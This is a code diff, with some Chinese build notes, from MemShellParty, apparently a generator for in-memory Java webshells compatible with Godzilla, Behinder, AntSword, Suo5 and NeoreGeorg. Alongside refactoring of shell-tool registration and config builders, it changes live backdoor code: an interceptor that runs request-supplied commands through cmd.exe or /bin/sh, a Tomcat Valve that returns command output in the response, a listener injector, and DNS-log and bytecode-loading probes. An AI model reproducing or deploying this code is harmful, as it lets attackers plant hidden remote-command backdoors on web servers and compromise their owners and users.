3. 构建后端项目,确保使用 JDK17 环境
```bash
cd MemShellParty/boot
cd MemShellParty
./gradlew :boot:bootjar -x test
```
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
```bash
cd MemShellParty/boot
@@ -39,7 +39,7 @@ java -jar \
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
build/libs/boot-1.0.0.jar
build/libs/boot-2.0.0.jar
```
也可这基础上再继续构建容器来使用
@@ -58,14 +58,12 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
下载项目根目录的 [Dockerfile](./Dockerfile)
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
- ROUTE_ROOT_PATH: 前端根路由配置
- CONTEXT_PATH: 后端访问前缀
```bash
# 基础构建
docker buildx build \
--build-arg VERSION=1.6.0 \
-t memshell-party:latest . --load
# 基础镜像启动,访问 127.0.0.1:8080
@@ -73,7 +71,6 @@ docker run -it -d -p 8080:8080 memshell-party:latest
# 自定义访问路径构建
docker buildx build \
--build-arg VERSION=1.6.0 \
--build-arg ROUTE_ROOT_PATH=/memshell-party \
--build-arg CONTEXT_PATH=/memshell-party \
-t memshell-party:latest . --load
+1 -1
View File
@@ -18,7 +18,7 @@ inject(context, shell);
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
jakarta,无须重复实现。
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
方法上,因此推荐按参考实现一样使用空实现。
方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`
@@ -18,12 +18,12 @@
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId>
<version>2.0.0-SNAPSHOT</version>
<version>2.0.0</version>
</dependency>
<dependency>
<groupId>io.github.reajason</groupId>
<artifactId>packer</artifactId>
<version>2.0.0-SNAPSHOT</version>
<version>2.0.0</version>
</dependency>
</dependencies>
@@ -1,6 +1,5 @@
package com.reajason.javaweb;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
@@ -10,6 +9,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import static com.reajason.javaweb.Server.Tomcat;
/**
* @author ReaJason
* @since 2025/4/6
@@ -17,7 +18,7 @@ import com.reajason.javaweb.packer.Packers;
public class Godzilla {
public static void main(String[] args) {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.server(Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.FILTER)
.shrink(true) // 缩小字节码
@@ -9,11 +9,12 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.JarPacker;
import com.sun.security.ntlm.Server;
import java.nio.file.Files;
import java.nio.file.Paths;
import static com.reajason.javaweb.Server.Tomcat;
/**
* @author ReaJason
* @since 2025/4/6
@@ -22,7 +23,7 @@ public class GodzillaAgent {
public static void main(String[] args) throws Exception {
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.Tomcat)
.server(Tomcat)
.shellTool(ShellTool.Godzilla)
.shellType(ShellType.AGENT_FILTER_CHAIN)
.shrink(true) // 缩小字节码
+1 -2
View File
@@ -39,10 +39,9 @@ dependencies {
implementation(libs.bundles.jna)
implementation(libs.bcel)
implementation(libs.okhttp3)
implementation(libs.logback.classic)
implementation(libs.jackson.databind)
testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest)
testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.bundles.mockito)
}
@@ -47,7 +47,7 @@ public class MemShellGenerator {
shellToolConfig.setShellClass(shellClass);
}
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig);
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass);
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
@@ -219,7 +219,7 @@ public class ServerFactory {
});
}
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
@@ -235,7 +235,10 @@ public class ServerFactory {
}
toolMappingBuilder.addShellClass(shellType, shellClass);
}
server.addToolMapping(shellTool, toolMappingBuilder.build());
ToolMapping mapping = toolMappingBuilder.build();
if (mapping.isNotEmpty()) {
server.addToolMapping(shellTool, mapping);
}
}
}
@@ -1,41 +1,15 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import java.lang.reflect.Constructor;
/**
* @author ReaJason
* @since 2024/11/22
* @since 2025/8/22
*/
public enum ShellTool {
Godzilla(GodzillaGenerator.class, GodzillaConfig.class),
Command(CommandGenerator.class, CommandConfig.class),
Behinder(BehinderGenerator.class, BehinderConfig.class),
Suo5(Suo5Generator.class, Suo5Config.class),
AntSword(AntSwordGenerator.class, AntSwordConfig.class),
NeoreGeorg(NeoreGeorgGenerator.class, NeoreGeorgConfig.class),
Custom(CustomShellGenerator.class, CustomConfig.class);
private final Class<? extends ShellGenerator> generatorClass;
private final Class<? extends ShellToolConfig> configClass;
ShellTool(Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
this.generatorClass = generatorClass;
this.configClass = configClass;
}
public byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Constructor<? extends ShellGenerator> constructor =
generatorClass.getConstructor(ShellConfig.class, configClass);
ShellGenerator generator = constructor.newInstance(shellConfig, configClass.cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new RuntimeException("shell generate failed " + e.getMessage(), e);
}
}
public class ShellTool {
public static final String Godzilla = "Godzilla";
public static final String Behinder = "Behinder";
public static final String Command = "Command";
public static final String Suo5 = "Suo5";
public static final String AntSword = "AntSword";
public static final String NeoreGeorg = "NeoreGeorg";
public static final String Custom = "Custom";
}
@@ -0,0 +1,50 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.memshell.generator.*;
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
import org.apache.commons.lang3.tuple.Pair;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
/**
* @author ReaJason
* @since 2025/08/22
*/
public class ShellToolFactory {
private static final Map<String, Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>>> instances = new ConcurrentHashMap<>();
static {
register(ShellTool.Godzilla, GodzillaGenerator.class, GodzillaConfig.class);
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
}
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
if (shellToolName == null || shellToolName.trim().isEmpty()) {
throw new IllegalArgumentException("ShellTool name cannot be null or empty.");
}
instances.put(shellToolName, Pair.of(generatorClass, configClass));
}
public static byte[] generateBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
try {
Pair<Class<? extends ShellGenerator>, Class<? extends ShellToolConfig>> classClassPair = instances.get(shellConfig.getShellTool());
Constructor<? extends ShellGenerator> constructor =
classClassPair.getLeft().getConstructor(ShellConfig.class, classClassPair.getRight());
ShellGenerator generator = constructor.newInstance(shellConfig, classClassPair.getRight().cast(shellToolConfig));
return generator.getBytes();
} catch (Exception e) {
throw new GenerationException("shell generate failed " + e.getMessage(), e);
}
}
}
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Getter
@SuperBuilder
@SuperBuilder(toBuilder = true)
@NoArgsConstructor
@AllArgsConstructor
@ToString
@@ -20,4 +21,31 @@ public class AntSwordConfig extends ShellToolConfig {
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class AntSwordConfigBuilder<C extends AntSwordConfig, B extends AntSwordConfig.AntSwordConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/12/21
*/
@Getter
@SuperBuilder
@SuperBuilder(toBuilder = true)
@NoArgsConstructor
@AllArgsConstructor
@ToString
@@ -20,4 +21,31 @@ public class BehinderConfig extends ShellToolConfig {
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class BehinderConfigBuilder<C extends BehinderConfig, B extends BehinderConfig.BehinderConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -5,6 +5,7 @@ import lombok.Builder;
import lombok.Getter;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
@@ -23,6 +24,17 @@ public class CommandConfig extends ShellToolConfig {
@Builder.Default
private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
public static abstract class CommandConfigBuilder<C extends CommandConfig, B extends CommandConfig.CommandConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B paramName(String paramName) {
if (StringUtils.isNotBlank(paramName)) {
paramName$value = paramName;
paramName$set = true;
}
return self();
}
}
public enum ImplementationClass {
RuntimeExec, ForkAndExec;
@@ -3,13 +3,14 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Getter
@SuperBuilder
@SuperBuilder(toBuilder = true)
@NoArgsConstructor
@AllArgsConstructor
@ToString
@@ -22,4 +23,39 @@ public class GodzillaConfig extends ShellToolConfig {
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class GodzillaConfigBuilder<C extends GodzillaConfig, B extends GodzillaConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B pass(final String pass) {
if (StringUtils.isNotBlank(pass)) {
this.pass$value = pass;
pass$set = true;
}
return self();
}
public B key(final String key) {
if (StringUtils.isNotBlank(key)) {
this.key$value = key;
key$set = true;
}
return self();
}
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
@@ -18,4 +19,24 @@ public class NeoreGeorgConfig extends ShellToolConfig {
private String headerName = "Referer";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class NeoreGeorgConfigBuilder<C extends NeoreGeorgConfig, B extends NeoreGeorgConfig.NeoreGeorgConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.AllArgsConstructor;
import lombok.Builder;
@@ -31,7 +30,7 @@ public class ShellConfig {
/**
* 内存马功能
*/
private ShellTool shellTool;
private String shellTool;
/**
* 内存马类型
@@ -10,7 +10,7 @@ import lombok.experimental.SuperBuilder;
* @since 2024/11/24
*/
@Data
@SuperBuilder
@SuperBuilder(toBuilder = true)
@NoArgsConstructor
@AllArgsConstructor
public class ShellToolConfig {
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
@@ -18,4 +19,24 @@ public class Suo5Config extends ShellToolConfig {
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
public static abstract class Suo5ConfigBuilder<C extends Suo5Config, B extends Suo5Config.Suo5ConfigBuilder<C, B>>
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
public B headerName(final String headerName) {
if (StringUtils.isNotBlank(headerName)) {
this.headerName$value = headerName;
headerName$set = true;
}
return self();
}
public B headerValue(final String headerValue) {
if (StringUtils.isNotBlank(headerValue)) {
this.headerValue$value = headerValue;
headerValue$set = true;
}
return self();
}
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.AntSwordConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -16,8 +17,10 @@ public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
}
@Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
return builder.field(named("pass")).value(shellToolConfig.getPass())
protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(shellToolConfig.getPass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
@@ -16,9 +17,12 @@ public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
super(shellConfig, shellToolConfig);
}
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
@Override
public DynamicType.Builder<?> getBuilder() {
String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
return builder.field(named("pass")).value(md5Key)
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(md5Key)
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
@@ -10,7 +10,6 @@ import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
/**
@@ -26,16 +25,13 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
this.shellToolConfig = shellToolConfig;
}
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder);
protected abstract DynamicType.Builder<?> getBuilder();
@Override
public byte[] getBytes() {
Class<?> shellClass = shellToolConfig.getShellClass();
String shellClassName = shellToolConfig.getShellClassName();
DynamicType.Builder<?> builder = build(new ByteBuddy()
.redefine(shellClass)
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
DynamicType.Builder<?> builder = getBuilder();
String shellType = shellConfig.getShellType();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
@@ -56,6 +52,10 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
builder = LogRemoveMethodVisitor.extend(builder);
}
builder = builder
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
}
@@ -1,11 +1,13 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import org.apache.commons.lang3.StringUtils;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.ClassFileLocator;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.ClassReader;
import net.bytebuddy.pool.TypePool;
import java.util.Base64;
@@ -13,21 +15,24 @@ import java.util.Base64;
* @author ReaJason
* @since 2025/3/18
*/
public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
public class CustomShellGenerator extends ByteBuddyShellGenerator<CustomConfig> {
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
super(shellConfig, customConfig);
}
@Override
public byte[] getBytes() {
protected DynamicType.Builder<?> getBuilder() {
String shellClassBase64 = shellToolConfig.getShellClassBase64();
if (StringUtils.isBlank(shellClassBase64)) {
throw new GenerationException("Custom shell class is empty");
}
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
ClassReader classReader = new ClassReader(classBytes);
String className = classReader.getClassName().replace('/', '.');
ClassFileLocator classFileLocator = ClassFileLocator.Simple.of(className, classBytes);
TypeDescription typeDescription = new TypePool.Default(
new TypePool.CacheProvider.Simple(), classFileLocator,
TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
).describe(className).resolve();
return new ByteBuddy()
.redefine(typeDescription, classFileLocator);
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
@@ -18,10 +19,12 @@ public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
}
@Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
public DynamicType.Builder<?> getBuilder() {
String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
return builder.field(named("pass")).value(shellToolConfig.getPass())
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("pass")).value(shellToolConfig.getPass())
.field(named("key")).value(md5Key)
.field(named("md5")).value(md5)
.field(named("headerName")).value(shellToolConfig.getHeaderName())
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -16,8 +17,10 @@ public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfi
}
@Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
return builder.field(named("headerName")).value(shellToolConfig.getHeaderName())
protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -17,8 +18,9 @@ public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
}
@Override
protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
return builder
protected DynamicType.Builder<?> getBuilder() {
return new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("headerName")).value(shellToolConfig.getHeaderName())
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
}
@@ -7,6 +7,7 @@ import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility;
@@ -26,9 +27,11 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
}
@Override
public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
builder = builder.field(named("paramName")).value(shellToolConfig.getParamName());
public DynamicType.Builder<?> getBuilder() {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellToolConfig.getShellClass())
.field(named("paramName"))
.value(shellToolConfig.getParamName());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
@@ -12,6 +12,7 @@ import java.io.InputStream;
public class RuntimeExecInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
returnValue = Runtime.getRuntime().exec(cmd).getInputStream();
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
}
}
@@ -94,7 +94,7 @@ public class TomcatListenerInjector {
listeners.add(listener);
System.out.println("listener inject successful");
} else {
ArrayList arrayList = new ArrayList(Arrays.asList(objects));
List arrayList = new ArrayList(Arrays.asList(((Object[]) objects)));
for (Object o : arrayList) {
if (o.getClass().getName().equals(getClassName())) {
System.out.println("listener already injected");
@@ -195,9 +195,10 @@ public class TomcatListenerInjector {
}
method.setAccessible(true);
System.out.println(method.getDeclaringClass().getName() + "@" + String.valueOf(obj.hashCode()).substring(0, 4) + "." + methodName + " invoked");
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
}
}
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.ShellTool;
import org.apache.commons.lang3.tuple.Pair;
import java.util.Collections;
@@ -14,7 +13,7 @@ import java.util.Set;
*/
public abstract class AbstractServer {
private final Map<ShellTool, ToolMapping> map = new LinkedHashMap<>();
private final Map<String, ToolMapping> map = new LinkedHashMap<>();
/**
* 定义注入器映射
@@ -27,7 +26,7 @@ public abstract class AbstractServer {
return null;
}
public void addToolMapping(ShellTool shellTool, ToolMapping mapping) {
public void addToolMapping(String shellTool, ToolMapping mapping) {
map.put(shellTool, mapping);
}
@@ -37,7 +36,7 @@ public abstract class AbstractServer {
* @param shellTool 内存马功能
* @return shellTypes
*/
public Set<String> getSupportedShellTypes(ShellTool shellTool) {
public Set<String> getSupportedShellTypes(String shellTool) {
ToolMapping toolMapping = map.get(shellTool);
if (toolMapping == null) {
return Collections.emptySet();
@@ -45,11 +44,11 @@ public abstract class AbstractServer {
return Collections.unmodifiableSet(toolMapping.getSupportedShellTypes());
}
public Set<ShellTool> getSupportedShellTools() {
public Set<String> getSupportedShellTools() {
return Collections.unmodifiableSet(map.keySet());
}
public Pair<Class<?>, Class<?>> getShellInjectorPair(ShellTool shellTool, String shellType) {
public Pair<Class<?>, Class<?>> getShellInjectorPair(String shellTool, String shellType) {
ToolMapping mapping = map.get(shellTool);
if (mapping == null) {
throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool);
@@ -24,6 +24,10 @@ public class ToolMapping {
this.shellClassMap = new LinkedHashMap<>(shellClassMap);
}
public boolean isNotEmpty() {
return !shellClassMap.isEmpty();
}
public Set<String> getSupportedShellTypes() {
return shellClassMap.keySet();
}
@@ -8,12 +8,13 @@ import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
/**
* @author ReaJason
*/
public class CommandValve implements Valve {
private static String paramName;
static String paramName;
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
@@ -21,12 +22,7 @@ public class CommandValve implements Valve {
String param = getParam(request.getParameter(paramName));
if (param != null) {
InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
return;
}
} catch (Throwable e) {
@@ -43,8 +39,7 @@ public class CommandValve implements Valve {
return null;
}
protected Valve next;
protected boolean asyncSupported;
Valve next;
@Override
public Valve getNext() {
@@ -58,7 +53,7 @@ public class CommandValve implements Valve {
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
return false;
}
@Override
@@ -36,13 +36,13 @@ public class DnsLogGenerator extends ByteBuddyShellGenerator<DnsLogConfig> {
switch (detectContent) {
case Server:
return buddy.redefine(DnsLogServer.class)
.name(CommonUtil.generateShellClassName())
.name(probeConfig.getShellClassName())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.field(named("host")).value(probeContentConfig.getHost())
.visit(Advice.to(ServerProbe.class).on(named("getServer")));
case JDK:
return buddy.redefine(DnsLogJdk.class)
.name(CommonUtil.generateShellClassName())
.name(probeConfig.getShellClassName())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.field(named("host")).value(probeContentConfig.getHost())
.visit(Advice.to(JdkProbe.class).on(named("getJdk")));
@@ -37,7 +37,7 @@ public class SleepGenerator extends ByteBuddyShellGenerator<SleepConfig> {
throw new GenerationException("sleepProbe server must be specified");
}
return buddy.redefine(SleepServer.class)
.name(CommonUtil.generateShellClassName())
.name(probeConfig.getShellClassName())
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
.field(named("server")).value(probeContentConfig.getServer())
.field(named("seconds")).value(probeContentConfig.getSeconds())
@@ -23,20 +23,22 @@ public class ByteCodeProbe {
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Throwable {
Class<?> decoderClass;
byte[] classBytes;
String base64 = data;
if (!data.startsWith("yv66vgAAAD")) {
base64 = "yv66vgAAAD" + data;
}
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, data);
classBytes = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
